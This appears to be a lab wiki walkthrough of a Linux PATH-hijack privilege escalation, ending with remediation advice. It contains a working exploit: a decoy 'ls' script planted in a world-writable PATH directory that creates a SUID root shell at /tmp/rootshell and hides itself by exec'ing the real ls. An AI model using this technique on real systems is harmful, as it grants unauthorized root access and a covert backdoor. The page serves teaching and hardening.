Skip to content

V5: PATH Hijack

sophialevasseur edited this page Oct 18, 2026 · 3 revisions

Discovery

image
cat /etc/profile.d/lab-path.sh
export PATH="/opt/lab/bin:$PATH"

echo $PATH                        # /opt/lab/bin:…
/opt/lab/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

ls -ld /opt/lab/bin               # writable by me, early in PATH
drwxrwxrwx 2 root root 4096 Mar  5 09:12 /opt/lab/bin
image
Command Output
cat /etc/profile.d/lab-path.sh files in /etc/profile.d/ run at every login, so their contents define the shared environment.
echo $PATH shows the search order for your shell: /opt/lab/bin first, then the standard directories.
ls -ld /opt/lab/bin confirms you can create files in that first-searched directory.

Exploitation

image

Step 1: Plant the decoy command.

  • The heredoc writes a small script named ls into the first directory in PATH:
cat > /opt/lab/bin/ls <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
exec /usr/bin/ls "$@"
EOF
chmod +x /opt/lab/bin/ls
image
  • Line 2 - the same single-shot payload: copy bash to /tmp/rootshell and set its SUID bit.
Command Output
exec /usr/bin/ls "$@" exec replaces this script with the real /usr/bin/ls, so the command behaves normally and the user notices nothing. "$@" passes along every argument the user typed (the quotes preserve arguments that contain spaces).
chmod +x /opt/lab/bin/ls a newly created file is not executable; without the execute bit the shell skips it and finds the real ls further down the PATH.

Step 2:Trigger: any root login shell.

  • The payload fires the next time root starts a login shell - for example su -, bash -l, or a new SSH session as root - because that is when /etc/profile.d/lab-path.sh is applied and any bare ls resolves to your file. Then:
/tmp/rootshell -p    # bash keeps euid 0 with -p
id                   # uid=0(root)
uid=0(root) gid=0(root) groups=0(root)
image
  • A fire-and-forget payload also works here: id > /tmp/pwned_7 on line 2 leaves a root-owned proof file when root's shell next runs ls.

Proof

  • After the trigger, ls -la /tmp/rootshell shows a root-owned file with an s in the owner's execute slot (-rwsr-xr-x), and /tmp/rootshell -p gives a shell where id prints uid=0(root).
image

Remediation

  • PATH for privileged shells must contain only trusted, root-owned directories. sudo does this for you via secure_path in sudoers; /etc/profile.d must be audited the same way. World-writable directories must never appear in any PATH that root inherits.

Clone this wiki locally